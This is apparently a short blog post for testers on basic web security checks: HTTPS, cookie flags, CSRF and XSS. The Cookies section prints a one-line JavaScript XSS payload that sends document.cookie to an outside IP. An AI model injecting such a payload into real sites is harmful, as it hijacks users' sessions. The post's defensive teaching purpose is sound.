Web Security - The Absolute Minimum

Security is not something you can glue on top of existing product, it has to be baked in from the beginning. But that is not really something you can test or verify. You can talk with developers and review docs and diffs, but there isn't really more to do.

What you can do is verify that there at least aren't any obvious security issues. Here's how to do that.

HTTPS all the way

Securing all traffic between server and client is the proper way to go. For many reasons (some good, mostly bad) it is not realistic to except that all sites would switch to HTTPS all the way, so at least use HTTPS for those pages where usernames and passwords are transmitted.

Just remember that any HTTP call shouts your users login cookies to the whole world, so catching those from public WiFi is childs play, thanks to Firesheep. The same can be done in any network that uses hubs with Wireshark, which takes only little more effort. And if you really want those cookies, man-in-the-middle attack will do it.

If you can go with HTTPS all the way, remember to set secure flag on your cookies.

Cookies

All cookies must have domain and path set. Cookies that identify user must have httpOnly flag set. All cookies must have sensible expiration time set. And if all your requests are through HTTPS, secure flag must be set.

Domain and path will prevent browser sending your cookies to other less secure apps in the same domain. httpOnly flag prevents sending cookies as parts of URLs for example. If and when your site has some XSS vulnerability, attacker may sneak small Javascript snippet in your site which will shout users cookies to a 3rd party.

window.location="http://1.2.3.4/?c="+document.cookie;

Will do the trick if your cookies aren't httpOnly. Expiration date will limit the damage in case your users computer is physically or remotely accessed.

To play with cookies, Firefox has excellent Cookies Manager+ extension and I'm sure there are similar for other browsers.

CSRF

Cross-site request forgery is one of the most common security holes. It means that if attacker puts image on his site with "src" attribute with "http://commonly_known_site/logout", all users of that site will be logged out from the "commonly known service". While logging users out is more of an annoyance, same principle work for admin tools and such also.

To test if the site you are working with is vulnerable, input logout URL to this field:

Small Javascript will change the "src" attribute of the image to point your logout URL. This makes your browser send HTTP GET to that address, so if you are logged in to that site and it has CSRF vulnerability, you will be logged out.

Remember that even though this does not work, it does not mean that there aren't any similar vulnerabilities in the site. This is just a really simple example.

XSS

Another really common failure is not to validate user input, thus leaving cross-site scripting holes. And user input does not only mean what user wrote in forms. It also means what data user sent you, what URLs he is accessing, what HTTP headers was sent and with what data.

To play with user inputs, check out XSS cheat sheet, Firefox has excellent Tamper Data add-on and Fiddler will let you do even more. Also play with the URLs. If your online shopping site carries prices in URLs, change those and see what happens. You wouldn't be the first one to get really cheap TVs.